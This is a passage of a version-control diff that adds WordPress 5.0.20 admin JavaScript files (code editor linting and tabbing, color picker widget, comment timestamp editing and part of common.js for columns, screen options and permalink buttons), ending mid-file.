+++ /tags/5.0.20/src/wp-admin/js/code-editor.js	(revision 56912)
@@ -0,0 +1,329 @@
+if ( 'undefined' === typeof window.wp ) {
+	window.wp = {};
+}
+if ( 'undefined' === typeof window.wp.codeEditor ) {
+	window.wp.codeEditor = {};
+}
+
+( function( $, wp ) {
+	'use strict';
+
+	/**
+	 * Default settings for code editor.
+	 *
+	 * @since 4.9.0
+	 * @type {object}
+	 */
+	wp.codeEditor.defaultSettings = {
+		codemirror: {},
+		csslint: {},
+		htmlhint: {},
+		jshint: {},
+		onTabNext: function() {},
+		onTabPrevious: function() {},
+		onChangeLintingErrors: function() {},
+		onUpdateErrorNotice: function() {}
+	};
+
+	/**
+	 * Configure linting.
+	 *
+	 * @param {CodeMirror} editor - Editor.
+	 * @param {object}     settings - Code editor settings.
+	 * @param {object}     settings.codeMirror - Settings for CodeMirror.
+	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
+	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
+	 * @returns {void}
+	 */
+	function configureLinting( editor, settings ) { // eslint-disable-line complexity
+		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];
+
+		/**
+		 * Call the onUpdateErrorNotice if there are new errors to show.
+		 *
+		 * @returns {void}
+		 */
+		function updateErrorNotice() {
+			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
+				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
+				previouslyShownErrorAnnotations = currentErrorAnnotations;
+			}
+		}
+
+		/**
+		 * Get lint options.
+		 *
+		 * @returns {object} Lint options.
+		 */
+		function getLintOptions() { // eslint-disable-line complexity
+			var options = editor.getOption( 'lint' );
+
+			if ( ! options ) {
+				return false;
+			}
+
+			if ( true === options ) {
+				options = {};
+			} else if ( _.isObject( options ) ) {
+				options = $.extend( {}, options );
+			}
+
+			// Note that rules must be sent in the "deprecated" lint.options property to prevent linter from complaining about unrecognized options. See <https://github.com/codemirror/CodeMirror/pull/4944>.
+			if ( ! options.options ) {
+				options.options = {};
+			}
+
+			// Configure JSHint.
+			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
+				$.extend( options.options, settings.jshint );
+			}
+
+			// Configure CSSLint.
+			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
+				$.extend( options.options, settings.csslint );
+			}
+
+			// Configure HTMLHint.
+			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
+				options.options.rules = $.extend( {}, settings.htmlhint );
+
+				if ( settings.jshint ) {
+					options.options.rules.jshint = settings.jshint;
+				}
+				if ( settings.csslint ) {
+					options.options.rules.csslint = settings.csslint;
+				}
+			}
+
+			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
+			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
+				return function( annotations, annotationsSorted, cm ) {
+					var errorAnnotations = _.filter( annotations, function( annotation ) {
+						return 'error' === annotation.severity;
+					} );
+
+					if ( onUpdateLintingOverridden ) {
+						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
+					}
+
+					// Skip if there are no changes to the errors.
+					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
+						return;
+					}
+
+					currentErrorAnnotations = errorAnnotations;
+
+					if ( settings.onChangeLintingErrors ) {
+						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
+					}
+
+					/*
+					 * Update notifications when the editor is not focused to prevent error message
+					 * from overwhelming the user during input, unless there are now no errors or there
+					 * were previously errors shown. In these cases, update immediately so they can know
+					 * that they fixed the errors.
+					 */
+					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
+						updateErrorNotice();
+					}
+				};
+			})( options.onUpdateLinting );
+
+			return options;
+		}
+
+		editor.setOption( 'lint', getLintOptions() );
+
+		// Keep lint options populated.
+		editor.on( 'optionChange', function( cm, option ) {
+			var options, gutters, gutterName = 'CodeMirror-lint-markers';
+			if ( 'lint' !== option ) {
+				return;
+			}
+			gutters = editor.getOption( 'gutters' ) || [];
+			options = editor.getOption( 'lint' );
+			if ( true === options ) {
+				if ( ! _.contains( gutters, gutterName ) ) {
+					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
+				}
+				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
+			} else if ( ! options ) {
+				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
+			}
+
+			// Force update on error notice to show or hide.
+			if ( editor.getOption( 'lint' ) ) {
+				editor.performLint();
+			} else {
+				currentErrorAnnotations = [];
+				updateErrorNotice();
+			}
+		} );
+
+		// Update error notice when leaving the editor.
+		editor.on( 'blur', updateErrorNotice );
+
+		// Work around hint selection with mouse causing focus to leave editor.
+		editor.on( 'startCompletion', function() {
+			editor.off( 'blur', updateErrorNotice );
+		} );
+		editor.on( 'endCompletion', function() {
+			var editorRefocusWait = 500;
+			editor.on( 'blur', updateErrorNotice );
+
+			// Wait for editor to possibly get re-focused after selection.
+			_.delay( function() {
+				if ( ! editor.state.focused ) {
+					updateErrorNotice();
+				}
+			}, editorRefocusWait );
+		});
+
+		/*
+		 * Make sure setting validities are set if the user tries to click Publish
+		 * while an autocomplete dropdown is still open. The Customizer will block
+		 * saving when a setting has an error notifications on it. This is only
+		 * necessary for mouse interactions because keyboards will have already
+		 * blurred the field and cause onUpdateErrorNotice to have already been
+		 * called.
+		 */
+		$( document.body ).on( 'mousedown', function( event ) {
+			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
+				updateErrorNotice();
+			}
+		});
+	}
+
+	/**
+	 * Configure tabbing.
+	 *
+	 * @param {CodeMirror} codemirror - Editor.
+	 * @param {object}     settings - Code editor settings.
+	 * @param {object}     settings.codeMirror - Settings for CodeMirror.
+	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
+	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
+	 * @returns {void}
+	 */
+	function configureTabbing( codemirror, settings ) {
+		var $textarea = $( codemirror.getTextArea() );
+
+		codemirror.on( 'blur', function() {
+			$textarea.data( 'next-tab-blurs', false );
+		});
+		codemirror.on( 'keydown', function onKeydown( editor, event ) {
+			var tabKeyCode = 9, escKeyCode = 27;
+
+			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
+			if ( escKeyCode === event.keyCode ) {
+				$textarea.data( 'next-tab-blurs', true );
+				return;
+			}
+
+			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
+			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
+				return;
+			}
+
+			// Focus on previous or next focusable item.
+			if ( event.shiftKey ) {
+				settings.onTabPrevious( codemirror, event );
+			} else {
+				settings.onTabNext( codemirror, event );
+			}
+
+			// Reset tab state.
+			$textarea.data( 'next-tab-blurs', false );
+
+			// Prevent tab character from being added.
+			event.preventDefault();
+		});
+	}
+
+	/**
+	 * @typedef {object} CodeEditorInstance
+	 * @property {object} settings - The code editor settings.
+	 * @property {CodeMirror} codemirror - The CodeMirror instance.
+	 */
+
+	/**
+	 * Initialize Code Editor (CodeMirror) for an existing textarea.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
+	 * @param {object}                [settings] - Settings to override defaults.
+	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
+	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
+	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
+	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
+	 * @param {object}                [settings.codemirror] - Options for CodeMirror.
+	 * @param {object}                [settings.csslint] - Rules for CSSLint.
+	 * @param {object}                [settings.htmlhint] - Rules for HTMLHint.
+	 * @param {object}                [settings.jshint] - Rules for JSHint.
+	 * @returns {CodeEditorInstance} Instance.
+	 */
+	wp.codeEditor.initialize = function initialize( textarea, settings ) {
+		var $textarea, codemirror, instanceSettings, instance;
+		if ( 'string' === typeof textarea ) {
+			$textarea = $( '#' + textarea );
+		} else {
+			$textarea = $( textarea );
+		}
+
+		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
+		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );
+
+		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );
+
+		configureLinting( codemirror, instanceSettings );
+
+		instance = {
+			settings: instanceSettings,
+			codemirror: codemirror
+		};
+
+		if ( codemirror.showHint ) {
+			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
+				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
+				if ( codemirror.state.completionActive && isAlphaKey ) {
+					return;
+				}
+
+				// Prevent autocompletion in string literals or comments.
+				token = codemirror.getTokenAt( codemirror.getCursor() );
+				if ( 'string' === token.type || 'comment' === token.type ) {
+					return;
+				}
+
+				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
+				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
+				if ( 'html' === innerMode || 'xml' === innerMode ) {
+					shouldAutocomplete =
+						'<' === event.key ||
+						'/' === event.key && 'tag' === token.type ||
+						isAlphaKey && 'tag' === token.type ||
+						isAlphaKey && 'attribute' === token.type ||
+						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
+				} else if ( 'css' === innerMode ) {
+					shouldAutocomplete =
+						isAlphaKey ||
+						':' === event.key ||
+						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
+				} else if ( 'javascript' === innerMode ) {
+					shouldAutocomplete = isAlphaKey || '.' === event.key;
+				} else if ( 'clike' === innerMode && 'application/x-httpd-php' === codemirror.options.mode ) {
+					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
+				}
+				if ( shouldAutocomplete ) {
+					codemirror.showHint( { completeSingle: false } );
+				}
+			});
+		}
+
+		// Facilitate tabbing out of the editor.
+		configureTabbing( codemirror, settings );
+
+		return instance;
+	};
+
+})( window.jQuery, window.wp );
Index: /tags/5.0.20/src/wp-admin/js/color-picker.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/color-picker.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/color-picker.js	(revision 56912)
@@ -0,0 +1,363 @@
+/* global wpColorPickerL10n */
+( function( $, undef ) {
+
+	var ColorPicker,
+		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
+		_after = '<div class="wp-picker-holder" />',
+		_wrap = '<div class="wp-picker-container" />',
+		_button = '<input type="button" class="button button-small" />',
+		_wrappingLabel = '<label></label>',
+		_wrappingLabelText = '<span class="screen-reader-text"></span>';
+
+	/**
+	 * @summary Creates a jQuery UI color picker.
+	 *
+	 * Creates a jQuery UI color picker that is used in the theme customizer.
+	 *
+	 * @since 3.5.0
+	 */
+	ColorPicker = {
+		options: {
+			defaultColor: false,
+			change: false,
+			clear: false,
+			hide: true,
+			palettes: true,
+			width: 255,
+			mode: 'hsv',
+			type: 'full',
+			slider: 'horizontal'
+		},
+		/**
+		 * @summary Creates a color picker that only allows you to adjust the hue.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @access private
+		 *
+		 * @returns {void}
+		 */
+		_createHueOnly: function() {
+			var self = this,
+				el = self.element,
+				color;
+
+			el.hide();
+
+			// Set the saturation to the maximum level.
+			color = 'hsl(' + el.val() + ', 100, 50)';
+
+			// Create an instance of the color picker, using the hsl mode.
+			el.iris( {
+				mode: 'hsl',
+				type: 'hue',
+				hide: false,
+				color: color,
+				/**
+				 * @summary Handles the onChange event if one has been defined in the options.
+				 *
+				 * @param {Event} event    The event that's being called.
+				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
+				 *
+				 * @returns {void}
+				 */
+				change: function( event, ui ) {
+					if ( $.isFunction( self.options.change ) ) {
+						self.options.change.call( this, event, ui );
+					}
+				},
+				width: self.options.width,
+				slider: self.options.slider
+			} );
+		},
+		/**
+		 * @summary Creates the color picker.
+		 *
+		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @access private
+		 *
+		 * @returns {void}
+		 */
+		_create: function() {
+			// Return early if Iris support is missing.
+			if ( ! $.support.iris ) {
+				return;
+			}
+
+			var self = this,
+				el = self.element;
+
+			// Override default options with options bound to the element.
+			$.extend( self.options, el.data() );
+
+			// Create a color picker which only allows adjustments to the hue.
+			if ( self.options.type === 'hue' ) {
+				return self._createHueOnly();
+			}
+
+			// Bind the close event.
+			self.close = $.proxy( self.close, self );
+
+			self.initialValue = el.val();
+
+			// Add a CSS class to the input field.
+			el.addClass( 'wp-color-picker' );
+
+			/*
+			 * Check if there's already a wrapping label, e.g. in the Customizer.
+			 * If there's no label, add a default one to match the Customizer template.
+			 */
+			if ( ! el.parent( 'label' ).length ) {
+				// Wrap the input field in the default label.
+				el.wrap( _wrappingLabel );
+				// Insert the default label text.
+				self.wrappingLabelText = $( _wrappingLabelText )
+					.insertBefore( el )
+					.text( wpColorPickerL10n.defaultLabel );
+			}
+
+			/*
+			 * At this point, either it's the standalone version or the Customizer
+			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
+			 */
+			self.wrappingLabel = el.parent();
+
+			// Wrap the label in the main wrapper.
+			self.wrappingLabel.wrap( _wrap );
+			// Store a reference to the main wrapper.
+			self.wrap = self.wrappingLabel.parent();
+			// Set up the toggle button and insert it before the wrapping label.
+			self.toggler = $( _before )
+				.insertBefore( self.wrappingLabel )
+				.css( { backgroundColor: self.initialValue } );
+			// Set the toggle button span element text.
+			self.toggler.find( '.wp-color-result-text' ).text( wpColorPickerL10n.pick );
+			// Set up the Iris container and insert it after the wrapping label.
+			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
+			// Store a reference to the Clear/Default button.
+			self.button = $( _button );
+
+			// Set up the Clear/Default button.
+			if ( self.options.defaultColor ) {
+				self.button
+					.addClass( 'wp-picker-default' )
+					.val( wpColorPickerL10n.defaultString )
+					.attr( 'aria-label', wpColorPickerL10n.defaultAriaLabel );
+			} else {
+				self.button
+					.addClass( 'wp-picker-clear' )
+					.val( wpColorPickerL10n.clear )
+					.attr( 'aria-label', wpColorPickerL10n.clearAriaLabel );
+			}
+
+			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
+			self.wrappingLabel
+				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
+				.after( self.button );
+
+			/*
+			 * The input wrapper now contains the label+input+Clear/Default button.
+			 * Store a reference to the input wrapper: we'll use this to toggle
+			 * the controls visibility.
+			 */
+			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );
+
+			el.iris( {
+				target: self.pickerContainer,
+				hide: self.options.hide,
+				width: self.options.width,
+				mode: self.options.mode,
+				palettes: self.options.palettes,
+				/**
+				 * @summary Handles the onChange event if one has been defined in the options.
+				 *
+				 * Handles the onChange event if one has been defined in the options and additionally
+				 * sets the background color for the toggler element.
+				 *
+				 * @since 3.5.0
+				 *
+				 * @param {Event} event    The event that's being called.
+				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
+				 *
+				 * @returns {void}
+				 */
+				change: function( event, ui ) {
+					self.toggler.css( { backgroundColor: ui.color.toString() } );
+
+					if ( $.isFunction( self.options.change ) ) {
+						self.options.change.call( this, event, ui );
+					}
+				}
+			} );
+
+			el.val( self.initialValue );
+			self._addListeners();
+
+			// Force the color picker to always be closed on initial load.
+			if ( ! self.options.hide ) {
+				self.toggler.click();
+			}
+		},
+		/**
+		 * @summary Binds event listeners to the color picker.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @access private
+		 *
+		 * @returns {void}
+		 */
+		_addListeners: function() {
+			var self = this;
+
+			/**
+			 * @summary Prevent any clicks inside this widget from leaking to the top and closing it.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param {Event} event The event that's being called.
+			 *
+			 * @returs {void}
+			 */
+			self.wrap.on( 'click.wpcolorpicker', function( event ) {
+				event.stopPropagation();
+			});
+
+			/**
+			 * @summary Open or close the color picker depending on the class.
+			 *
+			 * @since 3.5
+			 */
+			self.toggler.click( function(){
+				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
+					self.close();
+				} else {
+					self.open();
+				}
+			});
+
+			/**
+			 * @summary Checks if value is empty when changing the color in the color picker.
+			 *
+			 * Checks if value is empty when changing the color in the color picker.
+			 * If so, the background color is cleared.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param {Event} event The event that's being called.
+			 *
+			 * @returns {void}
+			 */
+			self.element.change( function( event ) {
+				var me = $( this ),
+					val = me.val();
+
+				if ( val === '' || val === '#' ) {
+					self.toggler.css( 'backgroundColor', '' );
+					// Fire clear callback if we have one.
+					if ( $.isFunction( self.options.clear ) ) {
+						self.options.clear.call( this, event );
+					}
+				}
+			});
+
+			/**
+			 * @summary Enables the user to clear or revert the color in the color picker.
+			 *
+			 * Enables the user to either clear the color in the color picker or revert back to the default color.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param {Event} event The event that's being called.
+			 *
+			 * @returns {void}
+			 */
+			self.button.click( function( event ) {
+				var me = $( this );
+				if ( me.hasClass( 'wp-picker-clear' ) ) {
+					self.element.val( '' );
+					self.toggler.css( 'backgroundColor', '' );
+					if ( $.isFunction( self.options.clear ) ) {
+						self.options.clear.call( this, event );
+					}
+				} else if ( me.hasClass( 'wp-picker-default' ) ) {
+					self.element.val( self.options.defaultColor ).change();
+				}
+			});
+		},
+		/**
+		 * @summary Opens the color picker dialog.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {void}
+		 */
+		open: function() {
+			this.element.iris( 'toggle' );
+			this.inputWrapper.removeClass( 'hidden' );
+			this.wrap.addClass( 'wp-picker-active' );
+			this.toggler
+				.addClass( 'wp-picker-open' )
+				.attr( 'aria-expanded', 'true' );
+			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
+		},
+		/**
+		 * @summary Closes the color picker dialog.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {void}
+		 */
+		close: function() {
+			this.element.iris( 'toggle' );
+			this.inputWrapper.addClass( 'hidden' );
+			this.wrap.removeClass( 'wp-picker-active' );
+			this.toggler
+				.removeClass( 'wp-picker-open' )
+				.attr( 'aria-expanded', 'false' );
+			$( 'body' ).off( 'click.wpcolorpicker', this.close );
+		},
+		/**
+		 * @summary Returns iris object or sets new color.
+		 *
+		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
+		 *
+		 * @param newColor {string|*} The new color to use. Can be undefined.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {string} The element's color
+		 */
+		color: function( newColor ) {
+			if ( newColor === undef ) {
+				return this.element.iris( 'option', 'color' );
+			}
+			this.element.iris( 'option', 'color', newColor );
+		},
+		/**
+		 * @summary Returns iris object or sets new default color.
+		 *
+		 * Returns the iris object if no new default color is provided.
+		 * If a new default color is provided, it sets the new default color.
+		 *
+		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {boolean|string} The element's color.
+		 */
+		defaultColor: function( newDefaultColor ) {
+			if ( newDefaultColor === undef ) {
+				return this.options.defaultColor;
+			}
+
+			this.options.defaultColor = newDefaultColor;
+		}
+	};
+
+	// Register the color picker as a widget.
+	$.widget( 'wp.wpColorPicker', ColorPicker );
+}( jQuery ) );
Index: /tags/5.0.20/src/wp-admin/js/comment.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/comment.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/comment.js	(revision 56912)
@@ -0,0 +1,97 @@
+/* global postboxes, commentL10n */
+
+/**
+ * @summary Binds to the document ready event.
+ *
+ * @since 2.5.0
+ *
+ * @param {jQuery} $ The jQuery object.
+ */
+jQuery(document).ready( function($) {
+
+	postboxes.add_postbox_toggles('comment');
+
+	var $timestampdiv = $('#timestampdiv'),
+		$timestamp = $( '#timestamp' ),
+		stamp = $timestamp.html(),
+		$timestampwrap = $timestampdiv.find( '.timestamp-wrap' ),
+		$edittimestamp = $timestampdiv.siblings( 'a.edit-timestamp' );
+
+	/**
+	 * @summary Adds event that opens the time stamp form if the form is hidden.
+	 *
+	 * @listens $edittimestamp:click
+	 *
+	 * @param {Event} event The event object.
+	 * @returns {void}
+	 */
+	$edittimestamp.click( function( event ) {
+		if ( $timestampdiv.is( ':hidden' ) ) {
+			// Slide down the form and set focus on the first field.
+			$timestampdiv.slideDown( 'fast', function() {
+				$( 'input, select', $timestampwrap ).first().focus();
+			} );
+			$(this).hide();
+		}
+		event.preventDefault();
+	});
+
+	/**
+	 * @summary Resets the time stamp values when the cancel button is clicked.
+	 *
+	 * @listens .cancel-timestamp:click
+	 *
+	 * @param {Event} event The event object.
+	 * @returns {void}
+	 */
+
+	$timestampdiv.find('.cancel-timestamp').click( function( event ) {
+		// Move focus back to the Edit link.
+		$edittimestamp.show().focus();
+		$timestampdiv.slideUp( 'fast' );
+		$('#mm').val($('#hidden_mm').val());
+		$('#jj').val($('#hidden_jj').val());
+		$('#aa').val($('#hidden_aa').val());
+		$('#hh').val($('#hidden_hh').val());
+		$('#mn').val($('#hidden_mn').val());
+		$timestamp.html( stamp );
+		event.preventDefault();
+	});
+
+	/**
+	 * @summary Sets the time stamp values when the ok button is clicked.
+	 *
+	 * @listens .save-timestamp:click
+	 *
+	 * @param {Event} event The event object.
+	 * @returns {void}
+	 */
+	$timestampdiv.find('.save-timestamp').click( function( event ) { // crazyhorse - multiple ok cancels
+		var aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(),
+			newD = new Date( aa, mm - 1, jj, hh, mn );
+
+		event.preventDefault();
+
+		if ( newD.getFullYear() != aa || (1 + newD.getMonth()) != mm || newD.getDate() != jj || newD.getMinutes() != mn ) {
+			$timestampwrap.addClass( 'form-invalid' );
+			return;
+		} else {
+			$timestampwrap.removeClass( 'form-invalid' );
+		}
+
+		$timestamp.html(
+			commentL10n.submittedOn + ' <b>' +
+			commentL10n.dateFormat
+				.replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
+				.replace( '%2$s', parseInt( jj, 10 ) )
+				.replace( '%3$s', aa )
+				.replace( '%4$s', ( '00' + hh ).slice( -2 ) )
+				.replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
+				'</b> '
+		);
+
+		// Move focus back to the Edit link.
+		$edittimestamp.show().focus();
+		$timestampdiv.slideUp( 'fast' );
+	});
+});
Index: /tags/5.0.20/src/wp-admin/js/common.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/common.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/common.js	(revision 56912)
@@ -0,0 +1,1152 @@
+/* global setUserSetting, ajaxurl, commonL10n, alert, confirm, pagenow */
+var showNotice, adminMenu, columns, validateForm, screenMeta;
+( function( $, window, undefined ) {
+	var $document = $( document ),
+		$window = $( window ),
+		$body = $( document.body );
+
+// Removed in 3.3.
+// (perhaps) needed for back-compat
+adminMenu = {
+	init : function() {},
+	fold : function() {},
+	restoreMenuState : function() {},
+	toggle : function() {},
+	favorites : function() {}
+};
+
+// show/hide/save table columns
+columns = {
+	init : function() {
+		var that = this;
+		$('.hide-column-tog', '#adv-settings').click( function() {
+			var $t = $(this), column = $t.val();
+			if ( $t.prop('checked') )
+				that.checked(column);
+			else
+				that.unchecked(column);
+
+			columns.saveManageColumnsState();
+		});
+	},
+
+	saveManageColumnsState : function() {
+		var hidden = this.hidden();
+		$.post(ajaxurl, {
+			action: 'hidden-columns',
+			hidden: hidden,
+			screenoptionnonce: $('#screenoptionnonce').val(),
+			page: pagenow
+		});
+	},
+
+	checked : function(column) {
+		$('.column-' + column).removeClass( 'hidden' );
+		this.colSpanChange(+1);
+	},
+
+	unchecked : function(column) {
+		$('.column-' + column).addClass( 'hidden' );
+		this.colSpanChange(-1);
+	},
+
+	hidden : function() {
+		return $( '.manage-column[id]' ).filter( ':hidden' ).map(function() {
+			return this.id;
+		}).get().join( ',' );
+	},
+
+	useCheckboxesForHidden : function() {
+		this.hidden = function(){
+			return $('.hide-column-tog').not(':checked').map(function() {
+				var id = this.id;
+				return id.substring( id, id.length - 5 );
+			}).get().join(',');
+		};
+	},
+
+	colSpanChange : function(diff) {
+		var $t = $('table').find('.colspanchange'), n;
+		if ( !$t.length )
+			return;
+		n = parseInt( $t.attr('colspan'), 10 ) + diff;
+		$t.attr('colspan', n.toString());
+	}
+};
+
+$document.ready(function(){columns.init();});
+
+validateForm = function( form ) {
+	return !$( form )
+		.find( '.form-required' )
+		.filter( function() { return $( ':input:visible', this ).val() === ''; } )
+		.addClass( 'form-invalid' )
+		.find( ':input:visible' )
+		.change( function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } )
+		.length;
+};
+
+// stub for doing better warnings
+showNotice = {
+	warn : function() {
+		var msg = commonL10n.warnDelete || '';
+		if ( confirm(msg) ) {
+			return true;
+		}
+
+		return false;
+	},
+
+	note : function(text) {
+		alert(text);
+	}
+};
+
+screenMeta = {
+	element: null, // #screen-meta
+	toggles: null, // .screen-meta-toggle
+	page:    null, // #wpcontent
+
+	init: function() {
+		this.element = $('#screen-meta');
+		this.toggles = $( '#screen-meta-links' ).find( '.show-settings' );
+		this.page    = $('#wpcontent');
+
+		this.toggles.click( this.toggleEvent );
+	},
+
+	toggleEvent: function() {
+		var panel = $( '#' + $( this ).attr( 'aria-controls' ) );
+
+		if ( !panel.length )
+			return;
+
+		if ( panel.is(':visible') )
+			screenMeta.close( panel, $(this) );
+		else
+			screenMeta.open( panel, $(this) );
+	},
+
+	open: function( panel, button ) {
+
+		$( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' );
+
+		panel.parent().show();
+		panel.slideDown( 'fast', function() {
+			panel.focus();
+			button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true );
+		});
+
+		$document.trigger( 'screen:options:open' );
+	},
+
+	close: function( panel, button ) {
+		panel.slideUp( 'fast', function() {
+			button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false );
+			$('.screen-meta-toggle').css('visibility', '');
+			panel.parent().hide();
+		});
+
+		$document.trigger( 'screen:options:close' );
+	}
+};
+
+/**
+ * Help tabs.
+ */
+$('.contextual-help-tabs').delegate('a', 'click', function(e) {
+	var link = $(this),
+		panel;
+
+	e.preventDefault();
+
+	// Don't do anything if the click is for the tab already showing.
+	if ( link.is('.active a') )
+		return false;
+
+	// Links
+	$('.contextual-help-tabs .active').removeClass('active');
+	link.parent('li').addClass('active');
+
+	panel = $( link.attr('href') );
+
+	// Panels
+	$('.help-tab-content').not( panel ).removeClass('active').hide();
+	panel.addClass('active').show();
+});
+
+/**
+ * Update custom permalink structure via buttons.
+ */
+
+var permalinkStructureFocused = false,
+    $permalinkStructure       = $( '#permalink_structure' ),
+    $permalinkStructureInputs = $( '.permalink-structure input:radio' ),
+    $permalinkCustomSelection = $( '#custom_selection' ),
+    $availableStructureTags   = $( '.form-table.permalink-structure .available-structure-tags button' );
+
+// Change permalink structure input when selecting one of the common structures.
+$permalinkStructureInputs.on( 'change', function() {
+	if ( 'custom' === this.value ) {
+		return;
+	}
+
+	$permalinkStructure.val( this.value );
+
+	// Update button states after selection.
+	$availableStructureTags.each( function() {
+		changeStructureTagButtonState( $( this ) );
+	} );
+} );
+
+$permalinkStructure.on( 'click input', function() {
+	$permalinkCustomSelection.prop( 'checked', true );
+} );
+
+// Check if the permalink structure input field has had focus at least once.
+$permalinkStructure.on( 'focus', function( event ) {
+	permalinkStructureFocused = true;
+	$( this ).off( event );
+} );
+
+/**
+ * Enables or disables a structure tag button depending on its usage.
+ *
+ * If the structure is already used in the custom permalink structure,
+ * it will be disabled.
+ *
+ * @param {object} button Button jQuery object.
+ */
+function changeStructureTagButtonState( button ) {
+	if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) {
+		button.attr( 'data-label', button.attr( 'aria-label' ) );
+		button.attr( 'aria-label', button.attr( 'data-used' ) );
+		button.attr( 'aria-pressed', true );
+		button.addClass( 'active' );
+	} else if ( button.attr( 'data-label' ) ) {
+		button.attr( 'aria-label', button.attr( 'data-label' ) );
+		button.attr( 'aria-pressed', false );
+		button.removeClass( 'active' );
+	}
+}
+
+// Check initial button state.
+$availableStructureTags.each( function() {
+	changeStructureTagButtonState( $( this ) );
+} );
+
+// Observe permalink structure field and disable buttons of tags that are already present.
+$permalinkStructure.on( 'change', function() {
+	$availableStructureTags.each( function() {
+		changeStructureTagButtonState( $( this ) );
+	} );
+} );
+
+$availableStructureTags.on( 'click', function() {
+	var permalinkStructureValue = $permalinkStructure.val(),
+	    selectionStart          = $permalinkStructure[ 0 ].selectionStart,
+	    selectionEnd            = $permalinkStructure[ 0 ].selectionEnd,
+	    textToAppend            = $( this ).text().trim(),
+	    textToAnnounce          = $( this ).attr( 'data-added' ),
+	    newSelectionStart;
+
+	// Remove structure tag if already part of the structure.
+	if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) {
+		permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' );
+
+		$permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue );
+
+		// Announce change to screen readers.
